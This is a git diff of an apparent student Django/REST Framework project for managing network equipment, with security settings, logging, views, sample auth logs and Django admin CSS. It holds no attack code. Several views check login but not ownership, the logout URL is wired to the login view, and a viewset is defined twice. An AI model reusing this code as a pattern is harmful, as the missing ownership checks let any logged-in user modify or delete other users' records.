"rest_framework.throttling.UserRateThrottle", + "rest_framework.throttling.AnonRateThrottle", + ], + "DEFAULT_THROTTLE_RATES": {"user": "1000/day", "anon": "50/day"}, + "DEFAULT_AUTHENTICATION_CLASSES": [ + "rest_framework.authentication.SessionAuthentication", + "rest_framework.authentication.BasicAuthentication", + "rest_framework.authentication.TokenAuthentication", + ], + "DEFAULT_PERMISSION_CLASSES": [ + "rest_framework.permissions.IsAuthenticatedOrReadOnly", + "rest_framework.permissions.IsAuthenticated", + ], +} + +DATA_UPLOAD_MAX_MEMORY_SIZE = 2 * 1024 * 1024 # 2 Mo +DATA_UPLOAD_MAX_NUMBER_FIELDS = 1000 + +MIDDLEWARE = [ + 'django.middleware.security.SecurityMiddleware', + 'django.contrib.sessions.middleware.SessionMiddleware', + 'django.middleware.common.CommonMiddleware', + 'django.middleware.csrf.CsrfViewMiddleware', + 'django.contrib.auth.middleware.AuthenticationMiddleware', + 'django.contrib.messages.middleware.MessageMiddleware', + 'django.middleware.clickjacking.XFrameOptionsMiddleware', + "whitenoise.middleware.WhiteNoiseMiddleware", +] + +ROOT_URLCONF = 'gestion_parc.urls' + +TEMPLATES = [ + { + "BACKEND": "django.template.backends.django.DjangoTemplates", + "DIRS": [BASE_DIR / "templates"], + "APP_DIRS": True, + "OPTIONS": { + "context_processors": [ + "django.template.context_processors.request", + "django.contrib.auth.context_processors.auth", + "django.contrib.messages.context_processors.messages", + ], + }, + }, +] + +WSGI_APPLICATION = 'gestion_parc.wsgi.application' + +# Database +# https://docs.djangoproject.com/en/6.0/ref/settings/#databases + +DATABASES = { + 'default': { + 'ENGINE': 'django.db.backends.sqlite3', + 'NAME': BASE_DIR / 'db.sqlite3', + } +} + +# Password validation +# https://docs.djangoproject.com/en/6.0/ref/settings/#auth-password-validators + +AUTH_PASSWORD_VALIDATORS = [ + { + 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', + }, +] + +# Internationalization +# https://docs.djangoproject.com/en/6.0/topics/i18n/ + +LANGUAGE_CODE = 'fr-fr' + +TIME_ZONE = 'UTC' + +USE_I18N = True + +USE_TZ = True + +# Static files (CSS, JavaScript, Images) +# https://docs.djangoproject.com/en/6.0/howto/static-files/ + +STATIC_URL = "static/" +STATIC_ROOT = BASE_DIR / "staticfiles" +STATICFILES_STORAGE = "whitenoise.storage.CompressedManifestStaticFilesStorage" + +DEFAULT_AUTO_FIELD = "django.db.models.BigAutoField" + +LOGIN_REDIRECT_URL = "/equipments/" +LOGOUT_REDIRECT_URL = "/login/" + +import logging + +LOGGING = { + "version": 1, + "disable_existing_loggers": False, + "formatters": { + "verbose": { + "format": "{asctime} {levelname} {name} {message}", + "style": "{", + }, + "security": { + "format": "{asctime} {levelname} SECURITY {name} {message}", + "style": "{", + }, + }, + "handlers": { + "console": { + "class": "logging.StreamHandler", + "formatter": "verbose", + }, + "security_file": { + "class": "logging.FileHandler", + "filename": BASE_DIR / "logs" / "security.log", + "formatter": "security", + }, + "auth_file": { + "class": "logging.FileHandler", + "filename": BASE_DIR / "logs" / "auth.log", + "formatter": "security", + }, + }, + "loggers": { + "django.security": { + "handlers": ["security_file", "console"], + "level": "WARNING", + "propagate": False, + }, + "parc.auth": { + "handlers": ["auth_file", "console"], + "level": "INFO", + "propagate": False, + }, + }, + "rest_framework.throttling": { + "handlers": ["security_file", "console"], + "level": "INFO", + "propagate": False, + }, +} diff --git a/Semaine_11/Jour_04/gestion_parc/urls.py b/Semaine_11/Jour_04/gestion_parc/urls.py new file mode 100644 index 0000000..e5498d5 --- /dev/null +++ b/Semaine_11/Jour_04/gestion_parc/urls.py @@ -0,0 +1,27 @@ +""" +URL configuration for gestion_parc project. + +The `urlpatterns` list routes URLs to views. For more information please see: + https://docs.djangoproject.com/en/6.0/topics/http/urls/ +Examples: +Function views + 1. Add an import: from my_app import views + 2. Add a URL to urlpatterns: path('', views.home, name='home') +Class-based views + 1. Add an import: from other_app.views import Home + 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') +Including another URLconf + 1. Import the include() function: from django.urls import include, path + 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) +""" +from django.contrib import admin +from django.urls import path, include +from django.contrib.auth import views as auth_views + +urlpatterns = [ + path("admin/", admin.site.urls), + path("login/", auth_views.LoginView.as_view(), name="login"), + path("logout/", auth_views.LoginView.as_view(), name="logout"), + + path("", include("parc.urls")), +] diff --git a/Semaine_11/Jour_04/gestion_parc/wsgi.py b/Semaine_11/Jour_04/gestion_parc/wsgi.py new file mode 100644 index 0000000..e8ca225 --- /dev/null +++ b/Semaine_11/Jour_04/gestion_parc/wsgi.py @@ -0,0 +1,16 @@ +""" +WSGI config for gestion_parc project. + +It exposes the WSGI callable as a module-level variable named ``application``. + +For more information on this file, see +https://docs.djangoproject.com/en/6.0/howto/deployment/wsgi/ +""" + +import os + +from django.core.wsgi import get_wsgi_application + +os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'gestion_parc.settings') + +application = get_wsgi_application() diff --git a/Semaine_11/Jour_04/image-1.png b/Semaine_11/Jour_04/image-1.png new file mode 100644 index 0000000..d9cd1e7 Binary files /dev/null and b/Semaine_11/Jour_04/image-1.png differ diff --git a/Semaine_11/Jour_04/image-2.png b/Semaine_11/Jour_04/image-2.png new file mode 100644 index 0000000..18d45a4 Binary files /dev/null and b/Semaine_11/Jour_04/image-2.png differ diff --git a/Semaine_11/Jour_04/image-3.png b/Semaine_11/Jour_04/image-3.png new file mode 100644 index 0000000..f4e180c Binary files /dev/null and b/Semaine_11/Jour_04/image-3.png differ diff --git a/Semaine_11/Jour_04/image-4.png b/Semaine_11/Jour_04/image-4.png new file mode 100644 index 0000000..9ec1bb5 Binary files /dev/null and b/Semaine_11/Jour_04/image-4.png differ diff --git a/Semaine_11/Jour_04/image-5.png b/Semaine_11/Jour_04/image-5.png new file mode 100644 index 0000000..1ab41c6 Binary files /dev/null and b/Semaine_11/Jour_04/image-5.png differ diff --git a/Semaine_11/Jour_04/image-6.png b/Semaine_11/Jour_04/image-6.png new file mode 100644 index 0000000..1b297a9 Binary files /dev/null and b/Semaine_11/Jour_04/image-6.png differ diff --git a/Semaine_11/Jour_04/image.png b/Semaine_11/Jour_04/image.png new file mode 100644 index 0000000..4960e4c Binary files /dev/null and b/Semaine_11/Jour_04/image.png differ diff --git a/Semaine_11/Jour_04/logs/auth.log b/Semaine_11/Jour_04/logs/auth.log new file mode 100644 index 0000000..557f59d --- /dev/null +++ b/Semaine_11/Jour_04/logs/auth.log @@ -0,0 +1,11 @@ +2026-07-10 15:16:49,436 WARNING SECURITY parc.auth Authentication failure: user= path=/api/equipments/ method=GET status=403 +2026-07-10 15:27:57,853 WARNING SECURITY parc.auth Authentication failure: user= path=/api/equipments/ method=GET status=403 +2026-07-10 15:27:57,882 WARNING SECURITY parc.auth Authentication failure: user= path=/api/equipments/ method=GET status=403 +2026-07-10 15:27:57,909 WARNING SECURITY parc.auth Authentication failure: user= path=/api/equipments/ method=GET status=403 +2026-07-10 15:27:57,937 WARNING SECURITY parc.auth Authentication failure: user= path=/api/equipments/ method=GET status=403 +2026-07-10 15:27:57,963 WARNING SECURITY parc.auth Authentication failure: user= path=/api/equipments/ method=GET status=403 +2026-07-10 15:27:58,000 WARNING SECURITY parc.auth Authentication failure: user= path=/api/equipments/ method=GET status=403 +2026-07-10 15:27:58,031 WARNING SECURITY parc.auth Authentication failure: user= path=/api/equipments/ method=GET status=403 +2026-07-10 15:27:58,067 WARNING SECURITY parc.auth Authentication failure: user= path=/api/equipments/ method=GET status=403 +2026-07-10 15:27:58,099 WARNING SECURITY parc.auth Authentication failure: user= path=/api/equipments/ method=GET status=403 +2026-07-10 15:27:58,128 WARNING SECURITY parc.auth Authentication failure: user= path=/api/equipments/ method=GET status=403 diff --git a/Semaine_11/Jour_04/logs/security.log b/Semaine_11/Jour_04/logs/security.log new file mode 100644 index 0000000..23573fa --- /dev/null +++ b/Semaine_11/Jour_04/logs/security.log @@ -0,0 +1,4 @@ +2026-07-10 15:18:00,648 WARNING SECURITY django.security.SuspiciousSession Session data corrupted +2026-07-10 15:18:11,700 WARNING SECURITY django.security.SuspiciousSession Session data corrupted +2026-07-10 15:18:11,712 WARNING SECURITY django.security.SuspiciousSession Session data corrupted +2026-07-10 15:18:19,156 WARNING SECURITY django.security.SuspiciousSession Session data corrupted diff --git a/Semaine_11/Jour_04/manage.py b/Semaine_11/Jour_04/manage.py new file mode 100644 index 0000000..6d1048c --- /dev/null +++ b/Semaine_11/Jour_04/manage.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python +"""Django's command-line utility for administrative tasks.""" +import os +import sys + + +def main(): + """Run administrative tasks.""" + os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'gestion_parc.settings') + try: + from django.core.management import execute_from_command_line + except ImportError as exc: + raise ImportError( + "Couldn't import Django. Are you sure it's installed and " + "available on your PYTHONPATH environment variable? Did you " + "forget to activate a virtual environment?" + ) from exc + execute_from_command_line(sys.argv) + + +if __name__ == '__main__': + main() diff --git a/Semaine_11/Jour_04/parc/__init__.py b/Semaine_11/Jour_04/parc/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/Semaine_11/Jour_04/parc/admin.py b/Semaine_11/Jour_04/parc/admin.py new file mode 100644 index 0000000..4c5232e --- /dev/null +++ b/Semaine_11/Jour_04/parc/admin.py @@ -0,0 +1,4 @@ +from django.contrib import admin +from .models import Equipment + +admin.site.register(Equipment) diff --git a/Semaine_11/Jour_04/parc/apps.py b/Semaine_11/Jour_04/parc/apps.py new file mode 100644 index 0000000..945fde8 --- /dev/null +++ b/Semaine_11/Jour_04/parc/apps.py @@ -0,0 +1,5 @@ +from django.apps import AppConfig + + +class ParcConfig(AppConfig): + name = 'parc' diff --git a/Semaine_11/Jour_04/parc/forms.py b/Semaine_11/Jour_04/parc/forms.py new file mode 100644 index 0000000..77ccded --- /dev/null +++ b/Semaine_11/Jour_04/parc/forms.py @@ -0,0 +1,12 @@ +from django import forms +from .models import Equipment + +class EquipmentForm(forms.ModelForm): + class Meta: + model = Equipment + fields = ["hostname", "ip", "is_active"] + widgets = { + "hostname": forms.TextInput(attrs={"class": "form-control"}), + "ip": forms.TextInput(attrs={"class": "form-control"}), + "is_active": forms.CheckboxInput(attrs={"class": "form-check-input"}), + } diff --git a/Semaine_11/Jour_04/parc/migrations/0001_initial.py b/Semaine_11/Jour_04/parc/migrations/0001_initial.py new file mode 100644 index 0000000..3abab12 --- /dev/null +++ b/Semaine_11/Jour_04/parc/migrations/0001_initial.py @@ -0,0 +1,28 @@ +# Generated by Django 6.0.7 on 2026-07-10 10:25 + +import django.db.models.deletion +from django.conf import settings +from django.db import migrations, models + + +class Migration(migrations.Migration): + + initial = True + + dependencies = [ + migrations.swappable_dependency(settings.AUTH_USER_MODEL), + ] + + operations = [ + migrations.CreateModel( + name='Equipment', + fields=[ + ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), + ('hostname', models.CharField(max_length=200)), + ('ip', models.GenericIPAddressField()), + ('is_active', models.BooleanField(default=True)), + ('internal_notes', models.TextField(blank=True, default='')), + ('owner', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)), + ], + ), + ] diff --git a/Semaine_11/Jour_04/parc/migrations/__init__.py b/Semaine_11/Jour_04/parc/migrations/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/Semaine_11/Jour_04/parc/models.py b/Semaine_11/Jour_04/parc/models.py new file mode 100644 index 0000000..d4a9b3d --- /dev/null +++ b/Semaine_11/Jour_04/parc/models.py @@ -0,0 +1,15 @@ +from django.db import models +from django.conf import settings + +class Equipment(models.Model): + hostname = models.CharField(max_length=200) + ip = models.GenericIPAddressField() + is_active = models.BooleanField(default=True) + owner = models.ForeignKey(settings.AUTH_USER_MODEL, on_delete=models.CASCADE) + internal_notes = models.TextField(blank=True, default="") + + def __str__(self): + if self.is_active: + return f"{self.hostname} - {self.ip}" + else: + return f"{self.hostname} is DOWN." \ No newline at end of file diff --git a/Semaine_11/Jour_04/parc/permissions.py b/Semaine_11/Jour_04/parc/permissions.py new file mode 100644 index 0000000..0ba2c6b --- /dev/null +++ b/Semaine_11/Jour_04/parc/permissions.py @@ -0,0 +1,5 @@ +from rest_framework import permissions + +class IsOwner(permissions.BasePermission): + def has_object_permission(self, request, view, obj): + return obj.owner == request.user diff --git a/Semaine_11/Jour_04/parc/serializers.py b/Semaine_11/Jour_04/parc/serializers.py new file mode 100644 index 0000000..5289bc1 --- /dev/null +++ b/Semaine_11/Jour_04/parc/serializers.py @@ -0,0 +1,8 @@ +from rest_framework import serializers +from .models import Equipment + +class EquipmentSerializer(serializers.ModelSerializer): + class Meta: + model = Equipment + fields = ["id", "hostname", "ip", "is_active", "owner"] + read_only_fields = ["owner"] \ No newline at end of file diff --git a/Semaine_11/Jour_04/parc/tests.py b/Semaine_11/Jour_04/parc/tests.py new file mode 100644 index 0000000..7ce503c --- /dev/null +++ b/Semaine_11/Jour_04/parc/tests.py @@ -0,0 +1,3 @@ +from django.test import TestCase + +# Create your tests here. diff --git a/Semaine_11/Jour_04/parc/urls.py b/Semaine_11/Jour_04/parc/urls.py new file mode 100644 index 0000000..ba35a02 --- /dev/null +++ b/Semaine_11/Jour_04/parc/urls.py @@ -0,0 +1,15 @@ +from django.urls import path, include +from rest_framework.routers import DefaultRouter +from . import views + +router = DefaultRouter() +router.register(r'equipments', views.EquipmentViewSet, basename='equipment') + +urlpatterns = [ + path("api/", include(router.urls)), + path("equipments/", views.EquipmentListView.as_view(), name="equipment_list"), + path("equipments/create/", views.EquipmentCreateView.as_view(), name="equipment_create"), + path("equipments//", views.EquipmentDetailView.as_view(), name="equipment_detail"), + path("equipments//update/", views.EquipmentUpdateView.as_view(), name="equipment_update"), + path("equipments//delete/", views.EquipmentDeleteView.as_view(), name="equipment_delete"), +] \ No newline at end of file diff --git a/Semaine_11/Jour_04/parc/views.py b/Semaine_11/Jour_04/parc/views.py new file mode 100644 index 0000000..8e14c01 --- /dev/null +++ b/Semaine_11/Jour_04/parc/views.py @@ -0,0 +1,120 @@ +from django.shortcuts import render +from django.urls import reverse_lazy +from django.views.generic import ListView, DetailView, CreateView, UpdateView, DeleteView +from django.utils.decorators import method_decorator +from django.contrib.auth.decorators import login_required + +from rest_framework import viewsets, status, permissions +from rest_framework.views import APIView +from rest_framework.response import Response + +from .models import Equipment +from .serializers import EquipmentSerializer +from .forms import EquipmentForm +from .permissions import IsOwner + +@login_required +def list_active_equipments(request): + equipments = Equipment.objects.filter(is_active=True) + return render(request, "parc/list.html", {"equipments": equipments}) + +@method_decorator(login_required, name="dispatch") +class EquipmentListView(ListView): + model = Equipment + template_name = "parc/list.html" + context_object_name = "equipments" + + def get_queryset(self): + return Equipment.objects.filter(is_active=True) + +@method_decorator(login_required, name="dispatch") +class EquipmentDetailView(DetailView): + model = Equipment + template_name = "parc/detail.html" + context_object_name = "equipment" + +@method_decorator(login_required, name="dispatch") +class EquipmentCreateView(CreateView): + model = Equipment + form_class = EquipmentForm + template_name = "parc/form.html" + success_url = reverse_lazy("equipment_list") + +@method_decorator(login_required, name="dispatch") +class EquipmentUpdateView(UpdateView): + model = Equipment + form_class = EquipmentForm + template_name = "parc/form.html" + success_url = reverse_lazy("equipment_list") + +@method_decorator(login_required, name="dispatch") +class EquipmentDeleteView(DeleteView): + model = Equipment + template_name = "parc/delete_confirm.html" + success_url = reverse_lazy("equipment_list") + +class EquipmentListAPIView(APIView): + permission_classes = [permissions.IsAuthenticatedOrReadOnly] + + def get(self, request): + equipments = Equipment.objects.all() + serializer = EquipmentSerializer(equipments, many=True) + + return Response(serializer.data) + + def post(self, request): + serializer = EquipmentSerializer(data=request.data) + + if serializer.is_valid(): + serializer.save() + + return Response(serializer.data, status=status.HTTP_201_CREATED) + + return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST) + +class EquipmentViewSet(viewsets.ModelViewSet): + """ + Ce ViewSet fournit automatiquement les actions : + - 'list' (GET /equipments/) + - 'retrieve' (GET /equipments/{id}/) + - 'create' (POST /equipments/) + - 'update' (PUT /equipments/{id}/) + - 'destroy' (DELETE /equipments/{id}/) + """ + permission_classes = [permissions.IsAuthenticated, IsOwner] + + def get_queryset(self): + return Equipment.objects.filter(owner=self.request.user) + + def perform_create(self, serializer): + serializer.save(owner=self.request.user) + + # queryset = Equipment.objects.all() + serializer_class = EquipmentSerializer + +import logging + +logger = logging.getLogger("parc.auth") + +class EquipmentViewSet(viewsets.ModelViewSet): + permission_classes = [permissions.IsAuthenticated, IsOwner] + + def get_queryset(self): + return Equipment.objects.filter(owner=self.request.user) + + def perform_create(self, serializer): + serializer.save(owner=self.request.user) + + def handle_exception(self, exc): + response = super().handle_exception(exc) + if response.status_code in (401, 403): + logger.warning( + "Authentication failure: user=%s path=%s method=%s status=%s", + getattr(self.request.user, "username", "anonymous"), + self.request.path, + self.request.method, + response.status_code, + ) + return response + + serializer_class = EquipmentSerializer diff --git a/Semaine_11/Jour_04/pyproject.toml b/Semaine_11/Jour_04/pyproject.toml new file mode 100644 index 0000000..0639144 --- /dev/null +++ b/Semaine_11/Jour_04/pyproject.toml @@ -0,0 +1,12 @@ +[project] +name = "jour-04" +version = "0.1.0" +description = "Add your description here" +readme = "README.md" +requires-python = ">=3.14" +dependencies = [ + "django>=6.0.7", + "djangorestframework>=3.17.1", + "dotenv>=0.9.9", + "whitenoise>=6.12.0", +] diff --git a/Semaine_11/Jour_04/staticfiles/admin/css/autocomplete.css b/Semaine_11/Jour_04/staticfiles/admin/css/autocomplete.css new file mode 100644 index 0000000..7478c2c --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/css/autocomplete.css @@ -0,0 +1,279 @@ +select.admin-autocomplete { + width: 20em; +} + +.select2-container--admin-autocomplete.select2-container { + min-height: 30px; +} + +.select2-container--admin-autocomplete .select2-selection--single, +.select2-container--admin-autocomplete .select2-selection--multiple { + min-height: 30px; + padding: 0; +} + +.select2-container--admin-autocomplete.select2-container--focus .select2-selection, +.select2-container--admin-autocomplete.select2-container--open .select2-selection { + border-color: var(--body-quiet-color); + min-height: 30px; +} + +.select2-container--admin-autocomplete.select2-container--focus .select2-selection.select2-selection--single, +.select2-container--admin-autocomplete.select2-container--open .select2-selection.select2-selection--single { + padding: 0; +} + +.select2-container--admin-autocomplete.select2-container--focus .select2-selection.select2-selection--multiple, +.select2-container--admin-autocomplete.select2-container--open .select2-selection.select2-selection--multiple { + padding: 0; +} + +.select2-container--admin-autocomplete .select2-selection--single { + background-color: var(--body-bg); + border: 1px solid var(--border-color); + border-radius: 4px; +} + +.select2-container--admin-autocomplete .select2-selection--single .select2-selection__rendered { + color: var(--body-fg); + line-height: 30px; +} + +.select2-container--admin-autocomplete .select2-selection--single .select2-selection__clear { + cursor: pointer; + float: right; + font-weight: bold; +} + +.select2-container--admin-autocomplete .select2-selection--single .select2-selection__placeholder { + color: var(--body-quiet-color); +} + +.select2-container--admin-autocomplete .select2-selection--single .select2-selection__arrow { + height: 26px; + position: absolute; + top: 1px; + right: 1px; + width: 20px; +} + +.select2-container--admin-autocomplete .select2-selection--single .select2-selection__arrow b { + border-color: #888 transparent transparent transparent; + border-style: solid; + border-width: 5px 4px 0 4px; + height: 0; + left: 50%; + margin-left: -4px; + margin-top: -2px; + position: absolute; + top: 50%; + width: 0; +} + +.select2-container--admin-autocomplete[dir="rtl"] .select2-selection--single .select2-selection__clear { + float: left; +} + +.select2-container--admin-autocomplete[dir="rtl"] .select2-selection--single .select2-selection__arrow { + left: 1px; + right: auto; +} + +.select2-container--admin-autocomplete.select2-container--disabled .select2-selection--single { + background-color: var(--darkened-bg); + cursor: default; +} + +.select2-container--admin-autocomplete.select2-container--disabled .select2-selection--single .select2-selection__clear { + display: none; +} + +.select2-container--admin-autocomplete.select2-container--open .select2-selection--single .select2-selection__arrow b { + border-color: transparent transparent #888 transparent; + border-width: 0 4px 5px 4px; +} + +.select2-container--admin-autocomplete .select2-selection--multiple { + background-color: var(--body-bg); + border: 1px solid var(--border-color); + border-radius: 4px; + cursor: text; +} + +.select2-container--admin-autocomplete .select2-selection--multiple .select2-selection__rendered { + box-sizing: border-box; + list-style: none; + margin: 0; + padding: 0 10px 5px 5px; + width: 100%; + display: flex; + flex-wrap: wrap; +} + +.select2-container--admin-autocomplete .select2-selection--multiple .select2-selection__rendered li { + list-style: none; +} + +.select2-container--admin-autocomplete .select2-selection--multiple .select2-selection__placeholder { + color: var(--body-quiet-color); + margin-top: 5px; + float: left; +} + +.select2-container--admin-autocomplete .select2-selection--multiple .select2-selection__clear { + cursor: pointer; + float: right; + font-weight: bold; + margin: 5px; + position: absolute; + right: 0; +} + +.select2-container--admin-autocomplete .select2-selection--multiple .select2-selection__choice { + background-color: var(--darkened-bg); + border: 1px solid var(--border-color); + border-radius: 4px; + cursor: default; + float: left; + margin-right: 5px; + margin-top: 5px; + padding: 0 5px; +} + +.select2-container--admin-autocomplete .select2-selection--multiple .select2-selection__choice__remove { + color: var(--body-quiet-color); + cursor: pointer; + display: inline-block; + font-weight: bold; + margin-right: 2px; +} + +.select2-container--admin-autocomplete .select2-selection--multiple .select2-selection__choice__remove:hover { + color: var(--body-fg); +} + +.select2-container--admin-autocomplete[dir="rtl"] .select2-selection--multiple .select2-selection__choice, .select2-container--admin-autocomplete[dir="rtl"] .select2-selection--multiple .select2-selection__placeholder, .select2-container--admin-autocomplete[dir="rtl"] .select2-selection--multiple .select2-search--inline { + float: right; +} + +.select2-container--admin-autocomplete[dir="rtl"] .select2-selection--multiple .select2-selection__choice { + margin-left: 5px; + margin-right: auto; +} + +.select2-container--admin-autocomplete[dir="rtl"] .select2-selection--multiple .select2-selection__choice__remove { + margin-left: 2px; + margin-right: auto; +} + +.select2-container--admin-autocomplete.select2-container--focus .select2-selection--multiple { + border: solid var(--body-quiet-color) 1px; + outline: 0; +} + +.select2-container--admin-autocomplete.select2-container--disabled .select2-selection--multiple { + background-color: var(--darkened-bg); + cursor: default; +} + +.select2-container--admin-autocomplete.select2-container--disabled .select2-selection__choice__remove { + display: none; +} + +.select2-container--admin-autocomplete.select2-container--open.select2-container--above .select2-selection--single, .select2-container--admin-autocomplete.select2-container--open.select2-container--above .select2-selection--multiple { + border-top-left-radius: 0; + border-top-right-radius: 0; +} + +.select2-container--admin-autocomplete.select2-container--open.select2-container--below .select2-selection--single, .select2-container--admin-autocomplete.select2-container--open.select2-container--below .select2-selection--multiple { + border-bottom-left-radius: 0; + border-bottom-right-radius: 0; +} + +.select2-container--admin-autocomplete .select2-search--dropdown { + background: var(--darkened-bg); +} + +.select2-container--admin-autocomplete .select2-search--dropdown .select2-search__field { + background: var(--body-bg); + color: var(--body-fg); + border: 1px solid var(--border-color); + border-radius: 4px; +} + +.select2-container--admin-autocomplete .select2-search--inline .select2-search__field { + background: transparent; + color: var(--body-fg); + border: none; + outline: 0; + box-shadow: none; + -webkit-appearance: textfield; +} + +.select2-container--admin-autocomplete .select2-results > .select2-results__options { + max-height: 200px; + overflow-y: auto; + color: var(--body-fg); + background: var(--body-bg); +} + +.select2-container--admin-autocomplete .select2-results__option[role=group] { + padding: 0; +} + +.select2-container--admin-autocomplete .select2-results__option[aria-disabled=true] { + color: var(--body-quiet-color); +} + +.select2-container--admin-autocomplete .select2-results__option[aria-selected=true] { + background-color: var(--selected-bg); + color: var(--body-fg); +} + +.select2-container--admin-autocomplete .select2-results__option .select2-results__option { + padding-left: 1em; +} + +.select2-container--admin-autocomplete .select2-results__option .select2-results__option .select2-results__group { + padding-left: 0; +} + +.select2-container--admin-autocomplete .select2-results__option .select2-results__option .select2-results__option { + margin-left: -1em; + padding-left: 2em; +} + +.select2-container--admin-autocomplete .select2-results__option .select2-results__option .select2-results__option .select2-results__option { + margin-left: -2em; + padding-left: 3em; +} + +.select2-container--admin-autocomplete .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option { + margin-left: -3em; + padding-left: 4em; +} + +.select2-container--admin-autocomplete .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option { + margin-left: -4em; + padding-left: 5em; +} + +.select2-container--admin-autocomplete .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option { + margin-left: -5em; + padding-left: 6em; +} + +.select2-container--admin-autocomplete .select2-results__option--highlighted[aria-selected] { + background-color: var(--primary); + color: var(--primary-fg); +} + +.select2-container--admin-autocomplete .select2-results__group { + cursor: default; + display: block; + padding: 6px; +} + +.errors .select2-selection { + border: 1px solid var(--error-fg); +} diff --git a/Semaine_11/Jour_04/staticfiles/admin/css/base.css b/Semaine_11/Jour_04/staticfiles/admin/css/base.css new file mode 100644 index 0000000..a3ddccd --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/css/base.css @@ -0,0 +1,1221 @@ +/* + DJANGO Admin styles +*/ + +/* VARIABLE DEFINITIONS */ +html[data-theme="light"], +:root { + --primary: #79aec8; + --secondary: #417690; + --accent: #f5dd5d; + --primary-fg: #fff; + + --body-fg: #333; + --body-bg: #fff; + --body-quiet-color: #666; + --body-medium-color: #444; + --body-loud-color: #000; + + --header-color: #ffc; + --header-branding-color: var(--accent); + --header-bg: var(--secondary); + --header-link-color: var(--primary-fg); + + --breadcrumbs-fg: #c4dce8; + --breadcrumbs-link-fg: var(--body-bg); + --breadcrumbs-bg: #264b5d; + + --link-fg: #417893; + --link-hover-color: #036; + --link-selected-fg: var(--secondary); + + --hairline-color: #e8e8e8; + --border-color: #ccc; + + --error-fg: #ba2121; + + --message-debug-bg: #efefef; + --message-debug-icon: url(../img/icon-debug.svg); + --message-info-bg: #ccefff; + --message-info-icon: url(../img/icon-info.svg); + --message-success-bg: #dfd; + --message-success-icon: url(../img/icon-yes.svg); + --message-warning-bg: #ffc; + --message-warning-icon: url(../img/icon-alert.svg); + --message-error-bg: #ffefef; + --message-error-icon: url(../img/icon-no.svg); + + --darkened-bg: #f8f8f8; /* A bit darker than --body-bg */ + --selected-bg: #e4e4e4; /* E.g. selected table cells */ + --selected-row: #ffc; + + --button-fg: #fff; + --button-bg: var(--secondary); + --button-hover-bg: #205067; + --default-button-bg: #205067; + --default-button-hover-bg: var(--secondary); + --close-button-bg: #747474; + --close-button-hover-bg: #333; + --delete-button-bg: #ba2121; + --delete-button-hover-bg: #a41515; + + --object-tools-fg: var(--button-fg); + --object-tools-bg: var(--close-button-bg); + --object-tools-hover-bg: var(--close-button-hover-bg); + + --font-family-primary: + "Segoe UI", + system-ui, + Roboto, + "Helvetica Neue", + Arial, + sans-serif, + "Apple Color Emoji", + "Segoe UI Emoji", + "Segoe UI Symbol", + "Noto Color Emoji"; + --font-family-monospace: + ui-monospace, + Menlo, + Monaco, + "Cascadia Mono", + "Segoe UI Mono", + "Roboto Mono", + "Oxygen Mono", + "Ubuntu Monospace", + "Source Code Pro", + "Fira Mono", + "Droid Sans Mono", + "Courier New", + monospace, + "Apple Color Emoji", + "Segoe UI Emoji", + "Segoe UI Symbol", + "Noto Color Emoji"; + + color-scheme: light; +} + +html, body { + height: 100%; +} + +body { + margin: 0; + padding: 0; + font-size: 0.875rem; + font-family: var(--font-family-primary); + color: var(--body-fg); + background: var(--body-bg); +} + +/* LINKS */ + +a:link, a:visited { + color: var(--link-fg); + text-decoration: none; + transition: color 0.15s, background 0.15s; +} + +a:focus, a:hover { + color: var(--link-hover-color); +} + +a:focus { + text-decoration: underline; +} + +a:not( + [role="button"], + #header a, + #nav-sidebar a, + #content-main.app-list a, + .object-tools a +) { + text-decoration: underline; +} + +a img { + border: none; +} + +a.section:link, a.section:visited { + color: var(--header-link-color); + text-decoration: none; +} + +a.section:focus, a.section:hover { + text-decoration: underline; +} + +/* GLOBAL DEFAULTS */ + +p, ol, ul, dl { + margin: .2em 0 .8em 0; +} + +p { + padding: 0; + line-height: 140%; +} + +h1,h2,h3,h4,h5 { + font-weight: bold; +} + +h1 { + margin: 0 0 20px; + font-weight: 300; + font-size: 1.25rem; +} + +h2 { + font-size: 1rem; + margin: 1em 0 .5em 0; +} + +h2.subhead { + font-weight: normal; + margin-top: 0; +} + +h3 { + font-size: 0.875rem; + margin: .8em 0 .3em 0; + color: var(--body-medium-color); + font-weight: bold; +} + +h4 { + font-size: 0.75rem; + margin: 1em 0 .8em 0; + padding-bottom: 3px; + color: var(--body-medium-color); +} + +h5 { + font-size: 0.625rem; + margin: 1.5em 0 .5em 0; + color: var(--body-quiet-color); + text-transform: uppercase; + letter-spacing: 1px; +} + +ul > li { + list-style-type: square; + padding: 1px 0; +} + +li ul { + margin-bottom: 0; +} + +li, dt, dd { + font-size: 0.8125rem; + line-height: 1.25rem; +} + +dt { + font-weight: bold; + margin-top: 4px; +} + +dd { + margin-left: 0; +} + +form { + margin: 0; + padding: 0; +} + +fieldset { + margin: 0; + min-width: 0; + padding: 0; + border: none; + border-top: 1px solid var(--hairline-color); +} + +details summary { + cursor: pointer; +} + +blockquote { + font-size: 0.6875rem; + color: var(--body-quiet-color); + margin-left: 2px; + padding-left: 10px; + border-left: 5px solid currentColor; +} + +code, pre { + font-family: var(--font-family-monospace); + color: var(--body-quiet-color); + font-size: 0.75rem; + overflow-x: auto; +} + +pre.literal-block { + margin: 10px; + background: var(--darkened-bg); + padding: 6px 8px; +} + +code strong { + color: #930; +} + +hr { + clear: both; + color: var(--hairline-color); + background-color: var(--hairline-color); + height: 